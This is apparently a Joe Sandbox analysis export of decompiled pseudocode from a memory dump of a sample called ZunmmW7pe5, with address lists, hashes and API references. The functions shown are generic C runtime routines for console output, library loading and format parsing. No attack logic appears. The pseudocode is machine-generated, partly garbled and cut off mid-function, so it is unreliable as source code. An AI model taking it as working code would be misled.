				_t28 = _t203 + 0x50; // -7
				_t195 = _t28;
				if (_t195 == 0) goto 0xe3749c97;
				 *_t195 = 0xcccc;
				goto 0xe3749b33;
				asm("dec eax");
				_t178 = _t177 & 0xfffffff0;
				E00007FF77FF7E373FF24(0xffffffffffffff0, _t178);
				if (0xfffffff0 == 0) goto 0xe3749b3b;
				 *0xfffffff0 = 0xdddd;
				goto 0xe3749b3b;
				if (0xfffffff0 == 0) goto 0xe3749c97;
				 *(_t203 + 0x28) = r12d;
				r9d = __ebx;
				 *(_t203 + 0x20) = 0xfffffff0;
				if (MultiByteToWideChar(??, ??, ??, ??, ??, ??) == 0) goto 0xe3749c97;
				 *(_t203 + 0x28) =  *(_t203 + 0x28) & 0x00000000;
				r9d = __esi;
				 *(_t203 + 0x20) =  *(_t203 + 0x20) & 0x00000000;
				_t68 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_t68 == 0) goto 0xe3749c97;
				_t211 = _t68 + _t68;
				asm("dec eax");
				if ((_t211 + 0x00000010 & _t178) == 0) goto 0xe3749c22;
				_t179 = _t211 + 0x10;
				asm("dec eax");
				if ((0xffffffffffffff0 & _t179) - 0x400 > 0) goto 0xe3749c00;
				asm("dec eax");
				if ((_t179 & _t211 + 0x00000010) + 0xf - (_t179 & _t211 + 0x00000010) > 0) goto 0xe3749bde;
				E00007FF77FF7E374ADF0(r14d, 0xffffffffffffff0, _t179 & _t211 + 0x00000010, _t211 + 0x10, _t211, _t215, _t216);
				_t204 = _t203 - 0xfffffff0;
				_t41 = _t204 + 0x50; // -7
				_t169 = _t41;
				if (_t169 == 0) goto 0xe3749c7d;
				 *_t169 = 0xcccc;
				goto 0xe3749c1c;
				asm("dec eax");
				E00007FF77FF7E373FF24(0xffffffffffffff0, _t179 & _t211 + 0x00000010 & 0xfffffff0);
				if (0xfffffff0 == 0) goto 0xe3749c24;
				 *((intOrPtr*)(0xffffffffffffff0)) = 0xdddd;
				goto 0xe3749c24;
				if (0xfffffff0 == 0) goto 0xe3749c7d;
				 *((intOrPtr*)(_t204 + 0x28)) = r15d;
				r9d = __esi;
				 *((long long*)(_t204 + 0x20)) = 0xfffffff0;
				if (MultiByteToWideChar(??, ??, ??, ??, ??, ??) == 0) goto 0xe3749c7d;
				 *(_t204 + 0x40) =  *(_t204 + 0x40) & 0x00000000;
				r9d = r12d;
				 *(_t204 + 0x38) =  *(_t204 + 0x38) & 0x00000000;
				 *(_t204 + 0x30) =  *(_t204 + 0x30) & 0x00000000;
				 *((intOrPtr*)(_t204 + 0x28)) = r15d;
				 *((long long*)(_t204 + 0x20)) = 0xfffffff0;
				E00007FF77FF7E37408E0( *_t200, MultiByteToWideChar(??, ??, ??, ??, ??, ??), 0x1000000000000000,  *((intOrPtr*)(_t200 + 8)), 0x1000000000000000, _t150 ^ _t200, _t200, 0xfffffff0);
				goto 0xe3749c7f;
				if (0x1000000000000000 == 0) goto 0xe3749c99;
				if ( *((intOrPtr*)(0xffffffffffffff0)) != 0xdddd) goto 0xe3749c99;
				E00007FF77FF7E373FEE4(0xffffffffffffff0, 0xffffffffffffff0);
				goto 0xe3749c99;
				if (0x1000000000000000 == 0) goto 0xe3749caf;
				if ( *((intOrPtr*)(0xffffffffffffff0)) != 0xdddd) goto 0xe3749caf;
				E00007FF77FF7E373FEE4(0xffffffffffffff0, 0xffffffffffffff0);
				E00007FF77FF7E374AB20();
				return 0;
			}

0x7ff7e3749949
0x7ff7e3749950
0x7ff7e3749950
0x7ff7e3749955
0x7ff7e374995f
0x7ff7e374996a
0x7ff7e374996d
0x7ff7e3749977
0x7ff7e374997e
0x7ff7e3749984
0x7ff7e374998c
0x7ff7e374999d
0x7ff7e37499a5
0x7ff7e37499ad
0x7ff7e37499b2
0x7ff7e37499b6
0x7ff7e37499be
0x7ff7e37499c0
0x7ff7e37499ca
0x7ff7e37499cf
0x7ff7e37499da
0x7ff7e37499de
0x7ff7e37499e6
0x7ff7e37499ed
0x7ff7e37499f4
0x7ff7e37499f8
0x7ff7e37499ff
0x7ff7e3749a06
0x7ff7e3749a1a
0x7ff7e3749a1e
0x7ff7e3749a24
0x7ff7e3749a2a
0x7ff7e3749a2a
0x7ff7e3749a2e
0x7ff7e3749a34
0x7ff7e3749a36
0x7ff7e3749a3b
0x7ff7e3749a40
0x7ff7e3749a49
0x7ff7e3749a4d
0x7ff7e3749a53
0x7ff7e3749a59
0x7ff7e3749a59
0x7ff7e3749a5d
0x7ff7e3749a63
0x7ff7e3749a65
0x7ff7e3749a6b
0x7ff7e3749a70
0x7ff7e3749a76
0x7ff7e3749a7d
0x7ff7e3749a7f
0x7ff7e3749a84
0x7ff7e3749a8a
0x7ff7e3749a97
0x7ff7e3749aa2
0x7ff7e3749ab5
0x7ff7e3749ab8
0x7ff7e3749abf
0x7ff7e3749ac5
0x7ff7e3749ac7
0x7ff7e3749ac7
0x7ff7e3749ace
0x7ff7e3749ada
0x7ff7e3749ade
0x7ff7e3749ae3
0x7ff7e3749ae6
0x7ff7e3749ae9
0x7ff7e3749af0
0x7ff7e3749af9
0x7ff7e3749afe
0x7ff7e3749b01
0x7ff7e3749b01
0x7ff7e3749b09
0x7ff7e3749b0f
0x7ff7e3749b15
0x7ff7e3749b1a
0x7ff7e3749b1d
0x7ff7e3749b20
0x7ff7e3749b2b
0x7ff7e3749b2d
0x7ff7e3749b37
0x7ff7e3749b3e
0x7ff7e3749b44
0x7ff7e3749b49
0x7ff7e3749b4f
0x7ff7e3749b64
0x7ff7e3749b6a
0x7ff7e3749b6f
0x7ff7e3749b72
0x7ff7e3749b83
0x7ff7e3749b8e
0x7ff7e3749b97
0x7ff7e3749ba1
0x7ff7e3749ba7
0x7ff7e3749ba9
0x7ff7e3749bb0
0x7ff7e3749bc0
0x7ff7e3749bc5
0x7ff7e3749bd2
0x7ff7e3749be2
0x7ff7e3749be7
0x7ff7e3749bea
0x7ff7e3749bea
0x7ff7e3749bf2
0x7ff7e3749bf8
0x7ff7e3749bfe
0x7ff7e3749c03
0x7ff7e3749c09
0x7ff7e3749c14
0x7ff7e3749c16
0x7ff7e3749c20
0x7ff7e3749c27
0x7ff7e3749c29
0x7ff7e3749c2e
0x7ff7e3749c34
0x7ff7e3749c49
0x7ff7e3749c4b
0x7ff7e3749c51
0x7ff7e3749c54
0x7ff7e3749c5d
0x7ff7e3749c6a
0x7ff7e3749c6f
0x7ff7e3749c74
0x7ff7e3749c7b
0x7ff7e3749c82
0x7ff7e3749c8e
0x7ff7e3749c90
0x7ff7e3749c95
0x7ff7e3749c9c
0x7ff7e3749ca8
0x7ff7e3749caa
0x7ff7e3749cb8
0x7ff7e3749ccd

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9afdc777777902d4dd94cfcf2bb45a2ed05828d82954df98294fa633d9a595f
Instruction ID: b17f3b5bcf1698b1dcf5eb086f7a45f126ed5a314e65a7ddd17b4b81f7cf4da8
Opcode Fuzzy Hash: b9afdc777777902d4dd94cfcf2bb45a2ed05828d82954df98294fa633d9a595f
Instruction Fuzzy Hash: 10A1A872B0878245FBB0AB6094C0379BAD1AF4A794F944633D95D267C5DE3CF864C322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3745A74 Relevance: 7.6, APIs: 5, Instructions: 142
fileCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E00007FF77FF7E3745A74(signed int __edx, void* __edi, void* __esi, void* __esp, long long __rbx, signed long long __rcx, void* __rdx, long long __r8, void* __r9, long long _a8) {
				signed long long _v72;
				char _v80;
				intOrPtr _v87;
				char _v88;
				long long _v96;
				long long _v104;
				int _v108;
				intOrPtr _v112;
				short _v116;
				char _v120;
				signed long long _v128;
				signed long long _v136;
				intOrPtr _v144;
				signed int _v152;
				void* __rsi;
				int _t80;
				long _t85;
				signed char _t86;
				signed long long _t117;
				long* _t126;
				signed long long _t128;
				intOrPtr _t137;
				signed long long _t141;
				void* _t144;
				signed long long _t147;
				void* _t149;
				void* _t157;
				void* _t158;
				signed long long _t162;

				_t128 = __rcx;
				_a8 = __rbx;
				_t117 =  *0xe3764018; // 0xf7df8d81ad38
				_v72 = _t117 ^ _t149 - 0x00000080;
				r12d = r9d;
				_t162 = __edx >> 6;
				_t147 = __edx << 6;
				_v96 = __r8;
				_t126 = __rcx;
				_t158 = _t157 + __r8;
				_v104 = 0xe37651c0;
				_v108 = GetConsoleCP();
				 *__rcx = __rdx;
				 *((intOrPtr*)(__rcx + 8)) = 0;
				if (__r8 - _t158 >= 0) goto 0xe3745c52;
				r13b =  *((intOrPtr*)(__r8));
				_v120 = 0;
				_t137 =  *((intOrPtr*)(0xe37651c0 + _t162 * 8));
				_t86 =  *(_t137 + _t147 + 0x3d);
				if ((_t86 & 0x00000004) == 0) goto 0xe3745b27;
				 *(_t137 + _t147 + 0x3d) = _t86 & 0x000000fb;
				r8d = 2;
				_v88 =  *((intOrPtr*)(_t137 + _t147 + 0x3e));
				_v87 = r13b;
				goto 0xe3745b6c;
				E00007FF77FF7E3744B74(_t86 & 0x000000fb,  *((intOrPtr*)( *((intOrPtr*)(0xe37651c0 + _t162 * 8)) + _t147 + 0x28)), __rcx, __rcx,  &_v88, _t147, __r9);
				if (( *(0xe37651c0 + _t128 * 2) & 0x00008000) == 0) goto 0xe3745b63;
				if (__r8 - _t158 >= 0) goto 0xe3745c32;
				r8d = 2;
				if (E00007FF77FF7E37416DC(0x8000, __edi, __esp,  *((intOrPtr*)( *((intOrPtr*)(0xe37651c0 + _t162 * 8)) + _t147 + 0x28)), _t126,  &_v120, __r8, _t147, __r8) == 0xffffffff) goto 0xe3745c52;
				_t144 = __r8 + 1;
				goto 0xe3745b7e;
				r8d = 1;
				if (E00007FF77FF7E37416DC(0x8000, __edi, __esp,  *((intOrPtr*)( *((intOrPtr*)(0xe37651c0 + _t162 * 8)) + _t147 + 0x28)), _t126,  &_v120, _t144, _t147, __r8) == 0xffffffff) goto 0xe3745c52;
				_v128 = _v128 & 0x00000000;
				_v136 = _v136 & 0x00000000;
				r9d = 1;
				_v144 = 5;
				_v152 =  &_v80;
				_t80 = WideCharToMultiByte(??, ??, ??, ??, ??, ??, ??, ??);
				r14d = _t80;
				if (_t80 == 0) goto 0xe3745c52;
				_v152 = _v152 & 0x00000000;
				_t141 =  &_v80;
				r8d = _t80;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0xe3745c4a;
				_t126[1] = _t126[2] - _v96 + __edi;
				if (_v112 - r14d < 0) goto 0xe3745c52;
				if (r13b != 0xa) goto 0xe3745c2a;
				_t50 = _t141 + 0xd; // 0xd
				_v152 = _t141;
				_t52 = _t141 + 1; // 0x1
				r8d = _t52;
				_v116 = _t50;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0xe3745c4a;
				if (_v112 - 1 < 0) goto 0xe3745c52;
				_t126[2] = _t126[2] + 1;
				_t126[1] = _t126[1] + 1;
				goto 0xe3745ae8;
				 *((char*)( *((intOrPtr*)(0xe37651c0 + _t162 * 8)) + _t147 + 0x3e)) =  *((intOrPtr*)(_t144 + 1));
				 *( *((intOrPtr*)(0xe37651c0 + _t162 * 8)) + _t147 + 0x3d) =  *( *((intOrPtr*)(0xe37651c0 + _t162 * 8)) + _t147 + 0x3d) | 0x00000004;
				_t126[1] = _t126[1] + 1;
				goto 0xe3745c52;
				_t85 = GetLastError();
				 *_t126 = _t85;
				E00007FF77FF7E374AB20();
				return _t85;
			}

0x7ff7e3745a74
0x7ff7e3745a74
0x7ff7e3745a8e
0x7ff7e3745a98
0x7ff7e3745aa9
0x7ff7e3745aac
0x7ff7e3745ab3
0x7ff7e3745aba
0x7ff7e3745abe
0x7ff7e3745ac1
0x7ff7e3745acd
0x7ff7e3745ad9
0x7ff7e3745adc
0x7ff7e3745ae2
0x7ff7e3745ae8
0x7ff7e3745aee
0x7ff7e3745af8
0x7ff7e3745afc
0x7ff7e3745b00
0x7ff7e3745b07
0x7ff7e3745b10
0x7ff7e3745b14
0x7ff7e3745b1e
0x7ff7e3745b21
0x7ff7e3745b25
0x7ff7e3745b27
0x7ff7e3745b38
0x7ff7e3745b3d
0x7ff7e3745b43
0x7ff7e3745b58
0x7ff7e3745b5e
0x7ff7e3745b61
0x7ff7e3745b63
0x7ff7e3745b78
0x7ff7e3745b7e
0x7ff7e3745b88
0x7ff7e3745b95
0x7ff7e3745b9b
0x7ff7e3745ba5
0x7ff7e3745bad
0x7ff7e3745bb3
0x7ff7e3745bb8
0x7ff7e3745bc6
0x7ff7e3745bcc
0x7ff7e3745bd0
0x7ff7e3745bdd
0x7ff7e3745be7
0x7ff7e3745bee
0x7ff7e3745bf4
0x7ff7e3745bfa
0x7ff7e3745bfd
0x7ff7e3745c02
0x7ff7e3745c02
0x7ff7e3745c0a
0x7ff7e3745c1c
0x7ff7e3745c22
0x7ff7e3745c24
0x7ff7e3745c27
0x7ff7e3745c2d
0x7ff7e3745c38
0x7ff7e3745c40
0x7ff7e3745c45
0x7ff7e3745c48
0x7ff7e3745c4a
0x7ff7e3745c50
0x7ff7e3745c5c
0x7ff7e3745c7b

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FF7E37462A7), ref: 00007FF7E3745AD1
WideCharToMultiByte.KERNEL32 ref: 00007FF7E3745BAD
WriteFile.KERNEL32 ref: 00007FF7E3745BD3
WriteFile.KERNEL32 ref: 00007FF7E3745C12
GetLastError.KERNEL32 ref: 00007FF7E3745C4A

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: a2ce99037a5c08357d6b1b785cd315dd21fa09d082b055308aaaf38b32182c64
Instruction ID: 75df883f6346ef8505c1e0b91c6f8b855119db150e17353131c717126fda535e
Opcode Fuzzy Hash: a2ce99037a5c08357d6b1b785cd315dd21fa09d082b055308aaaf38b32182c64
Instruction Fuzzy Hash: DF51F472A24A5285F750DB65D4843BCBBB0FB48798F448136CE0E27698DF38E165C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3740740 Relevance: 7.6, APIs: 5, Instructions: 114
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 36%

			E00007FF77FF7E3740740(void* __ecx, long long __rbx, void* __rdx, signed int __rsi, void* __r8, void* __r9) {
				signed long long _t72;
				signed long long _t76;
				intOrPtr _t78;
				signed long long _t80;
				signed long long _t89;
				struct HINSTANCE__* _t94;
				signed long long _t95;
				long long _t101;
				void* _t105;
				signed long long _t109;
				signed long long _t111;
				signed long long _t114;
				struct HINSTANCE__* _t115;
				long _t118;
				void* _t121;
				WCHAR* _t123;

				 *((long long*)(_t105 + 8)) = __rbx;
				 *((long long*)(_t105 + 0x10)) = _t101;
				 *((long long*)(_t105 + 0x18)) = __rsi;
				r14d = __ecx;
				_t111 =  *0xe3764018; // 0xf7df8d81ad38
				_t95 = _t94 | 0xffffffff;
				_t89 = _t111 ^  *(0x7ff7e3710000 + 0x550b0 + _t121 * 8);
				asm("dec eax");
				if (_t89 == _t95) goto 0xe37408c1;
				if (_t89 == 0) goto 0xe37407a9;
				_t72 = _t89;
				goto 0xe37408c3;
				if (__r8 == __r9) goto 0xe3740855;
				_t78 =  *((intOrPtr*)(0x7ff7e3710000 + 0x55010 + __rsi * 8));
				if (_t78 == 0) goto 0xe37407c9;
				if (_t78 == _t95) goto 0xe3740841;
				goto 0xe374083c;
				r8d = 0x800;
				LoadLibraryExW(_t123, _t121, _t118);
				if (_t72 != 0) goto 0xe374080a;
				if (GetLastError() != 0x57) goto 0xe3740808;
				r8d = 0;
				LoadLibraryExW(??, ??, ??);
				_t80 = _t72;
				goto 0xe374080a;
				if (_t80 != 0) goto 0xe3740823;
				 *((intOrPtr*)(0x7ff7e3710000 + 0x55010 + __rsi * 8)) = _t95;
				goto 0xe3740841;
				_t19 = 0x7ff7e3710000 + 0x55010 + __rsi * 8;
				_t76 =  *_t19;
				 *_t19 = _t80;
				if (_t76 == 0) goto 0xe374083c;
				FreeLibrary(_t115);
				if (_t80 != 0) goto 0xe3740896;
				if (__r8 + 4 != __r9) goto 0xe37407b2;
				if (_t80 == 0) goto 0xe37408a6;
				GetProcAddress(_t94);
				if (_t76 == 0) goto 0xe374089f;
				_t109 =  *0xe3764018; // 0xf7df8d81ad38
				asm("dec eax");
				 *(0x7ff7e3710000 + 0x550b0 + _t121 * 8) = _t76 ^ _t109;
				goto 0xe37408c3;
				goto 0xe3740857;
				_t114 =  *0xe3764018; // 0xf7df8d81ad38
				asm("dec eax");
				 *(0x7ff7e3710000 + 0x550b0 + _t121 * 8) = _t95 ^ _t114;
				return 0;
			}

0x7ff7e3740740
0x7ff7e3740745
0x7ff7e374074a
0x7ff7e374075c
0x7ff7e3740777
0x7ff7e374077e
0x7ff7e3740788
0x7ff7e3740790
0x7ff7e3740796
0x7ff7e374079f
0x7ff7e37407a1
0x7ff7e37407a4
0x7ff7e37407ac
0x7ff7e37407b5
0x7ff7e37407c0
0x7ff7e37407c5
0x7ff7e37407c7
0x7ff7e37407d6
0x7ff7e37407dc
0x7ff7e37407e8
0x7ff7e37407f3
0x7ff7e37407f5
0x7ff7e37407fd
0x7ff7e3740803
0x7ff7e3740806
0x7ff7e3740814
0x7ff7e3740819
0x7ff7e3740821
0x7ff7e3740826
0x7ff7e3740826
0x7ff7e3740826
0x7ff7e3740831
0x7ff7e3740836
0x7ff7e374083f
0x7ff7e3740848
0x7ff7e374085a
0x7ff7e3740862
0x7ff7e374086b
0x7ff7e374086d
0x7ff7e3740886
0x7ff7e374088c
0x7ff7e3740894
0x7ff7e374089d
0x7ff7e374089f
0x7ff7e37408b3
0x7ff7e37408b9
0x7ff7e37408df

APIs

GetProcAddress.KERNEL32(?,?,00000006,00007FF7E3740B0B,?,?,00000000,00007FF7E3742033,?,?,?,00007FF7E3740729), ref: 00007FF7E3740862

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: f8dcbb4dd34ea69797e38644ad05290af5c456f39856df2b6849be795f8cd843
Instruction ID: 58282c76e07af1faad0c91fd69baec56494edf8c1816284fc4025177e0585d98
Opcode Fuzzy Hash: f8dcbb4dd34ea69797e38644ad05290af5c456f39856df2b6849be795f8cd843
Instruction Fuzzy Hash: D3412931B1AA0281FE91AB515990376FA95BF4CB90F8A4536DD1D1B384EE3CF8609392

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E374A1E8 Relevance: 7.6, APIs: 5, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E00007FF77FF7E374A1E8(signed int __ecx, void* __edx, long long __rbx, void* __rdx, long long __rsi, long long _a8, long long _a16) {
				signed int _t27;
				signed int _t28;
				signed int _t29;
				signed int _t30;
				signed int _t31;
				signed int _t43;
				signed int _t44;
				signed int _t45;
				signed int _t47;
				void* _t52;

				_a8 = __rbx;
				_a16 = __rsi;
				_t27 = __ecx & 0x0000001f;
				if ((__ecx & 0x00000008) == 0) goto 0xe374a219;
				if (__edx >= 0) goto 0xe374a219;
				E00007FF77FF7E374A97C(_t27, _t52);
				_t28 = _t27 & 0xfffffff7;
				goto 0xe374a270;
				_t43 = 0x00000004 & dil;
				if (_t43 == 0) goto 0xe374a234;
				asm("dec eax");
				if (_t43 >= 0) goto 0xe374a234;
				E00007FF77FF7E374A97C(_t28, _t52);
				_t29 = _t28 & 0xfffffffb;
				goto 0xe374a270;
				_t44 = dil & 0x00000001;
				if (_t44 == 0) goto 0xe374a250;
				asm("dec eax");
				if (_t44 >= 0) goto 0xe374a250;
				E00007FF77FF7E374A97C(_t29, _t52);
				_t30 = _t29 & 0xfffffffe;
				goto 0xe374a270;
				_t45 = dil & 0x00000002;
				if (_t45 == 0) goto 0xe374a270;
				asm("dec eax");
				if (_t45 >= 0) goto 0xe374a270;
				if ((dil & 0x00000010) == 0) goto 0xe374a26d;
				E00007FF77FF7E374A97C(_t30, _t52);
				_t31 = _t30 & 0xfffffffd;
				_t47 = dil & 0x00000010;
				if (_t47 == 0) goto 0xe374a28a;
				asm("dec eax");
				if (_t47 >= 0) goto 0xe374a28a;
				E00007FF77FF7E374A97C(_t31, _t52);
				return 0 | (_t31 & 0xffffffef) == 0x00000000;
			}

0x7ff7e374a1e8
0x7ff7e374a1ed
0x7ff7e374a1fc
0x7ff7e374a204
0x7ff7e374a208
0x7ff7e374a20f
0x7ff7e374a214
0x7ff7e374a217
0x7ff7e374a21e
0x7ff7e374a221
0x7ff7e374a223
0x7ff7e374a228
0x7ff7e374a22a
0x7ff7e374a22f
0x7ff7e374a232
0x7ff7e374a234
0x7ff7e374a238
0x7ff7e374a23a
0x7ff7e374a23f
0x7ff7e374a246
0x7ff7e374a24b
0x7ff7e374a24e
0x7ff7e374a250
0x7ff7e374a254
0x7ff7e374a256
0x7ff7e374a25b
0x7ff7e374a261
0x7ff7e374a268
0x7ff7e374a26d
0x7ff7e374a270
0x7ff7e374a274
0x7ff7e374a276
0x7ff7e374a27b
0x7ff7e374a282
0x7ff7e374a2a0

APIs

_set_statfp.LIBCMT ref: 00007FF7E374A20F
_set_statfp.LIBCMT ref: 00007FF7E374A22A
_set_statfp.LIBCMT ref: 00007FF7E374A246
_set_statfp.LIBCMT ref: 00007FF7E374A282

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 85414262b3953088d4f60dd0d8a8193697b2afd6f8d6c8128eecb6e46dd3a070
Instruction ID: 2225f8dc40e5f0740604b189ad2d4be782141be9928c2e69966ab6f0f2a9de2d
Opcode Fuzzy Hash: 85414262b3953088d4f60dd0d8a8193697b2afd6f8d6c8128eecb6e46dd3a070
Instruction Fuzzy Hash: 2111B23AE0CA2351FBD431A4E4C2375B9416FCD360E854236EAEE225D68E3DB4746273

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E373CF40 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00007FF77FF7E373CF40(signed int __edi, intOrPtr* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rbp, long long _a8, long long _a16) {
				void* _t75;
				intOrPtr _t87;
				void* _t90;
				unsigned int _t96;
				signed int _t103;
				signed int _t105;
				char _t107;
				void* _t108;
				signed int _t111;
				unsigned int _t119;
				void* _t141;
				intOrPtr _t144;
				void* _t149;
				void* _t152;

				_t149 = __rdx;
				_a8 = __rbx;
				_a16 = __rbp;
				_t141 = __rcx;
				_t144 =  *((intOrPtr*)(__rcx + 0x468));
				if (_t144 != 0) goto 0xe373cf70;
				_t75 = E00007FF77FF7E3740720(__rax);
				 *__rax = 0x16;
				E00007FF77FF7E3740600(_t75);
				goto 0xe373cf79;
				if (E00007FF77FF7E373E3D0(_t90, _t108, _t144) != 0) goto 0xe373cf81;
				goto 0xe373d13b;
				if ( *((long long*)(__rcx + 0x18)) == 0) goto 0xe373cf5e;
				 *((intOrPtr*)(__rcx + 0x470)) =  *((intOrPtr*)(__rcx + 0x470)) + 1;
				if ( *((intOrPtr*)(__rcx + 0x470)) == 2) goto 0xe373d138;
				_t111 = __edi | 0xffffffff;
				 *(__rcx + 0x50) =  *(__rcx + 0x50) & 0x00000000;
				 *(__rcx + 0x2c) =  *(__rcx + 0x2c) & 0x00000000;
				goto 0xe373d104;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 1;
				if ( *((intOrPtr*)(__rcx + 0x28)) < 0) goto 0xe373d119;
				if ( *((intOrPtr*)(__rcx + 0x41)) - 0x20 - 0x5a > 0) goto 0xe373cfdb;
				_t136 =  *((char*)(__rcx + 0x41));
				goto 0xe373cfdd;
				_t96 = ( *(_t144 + 0xe374cfe0) & 0x000000ff) >> 4;
				 *(__rcx + 0x2c) = _t96;
				if (_t96 == 8) goto 0xe373d14b;
				_t119 = _t96;
				if (_t119 == 0) goto 0xe373d0f8;
				if (_t119 == 0) goto 0xe373d0df;
				if (_t119 == 0) goto 0xe373d0aa;
				if (_t119 == 0) goto 0xe373d07e;
				if (_t119 == 0) goto 0xe373d075;
				if (_t119 == 0) goto 0xe373d048;
				if (_t119 == 0) goto 0xe373d03b;
				if (_t96 - 0xfffffffffffffffc != 1) goto 0xe373d15b;
				E00007FF77FF7E373D87C( *((char*)(__rcx + 0x41)), __rcx, __rcx, _t149, _t152, 0xe374cfe0);
				goto 0xe373d100;
				E00007FF77FF7E373D584(_t136, _t141);
				goto 0xe373d100;
				if ( *((char*)(_t141 + 0x41)) == 0x2a) goto 0xe373d05f;
				E00007FF77FF7E373CEBC(_t141, _t141, _t141 + 0x38);
				goto 0xe373d100;
				 *((long long*)(_t141 + 0x20)) =  *((long long*)(_t141 + 0x20)) + 8;
				_t103 =  *( *((intOrPtr*)(_t141 + 0x20)) - 8);
				_t104 =  <  ? _t111 : _t103;
				 *(_t141 + 0x38) =  <  ? _t111 : _t103;
				goto 0xe373d0a6;
				 *(_t141 + 0x38) =  *(_t141 + 0x38) & 0x00000000;
				goto 0xe373d104;
				if ( *((char*)(_t141 + 0x41)) == 0x2a) goto 0xe373d08a;
				goto 0xe373d052;
				 *((long long*)(_t141 + 0x20)) =  *((long long*)(_t141 + 0x20)) + 8;
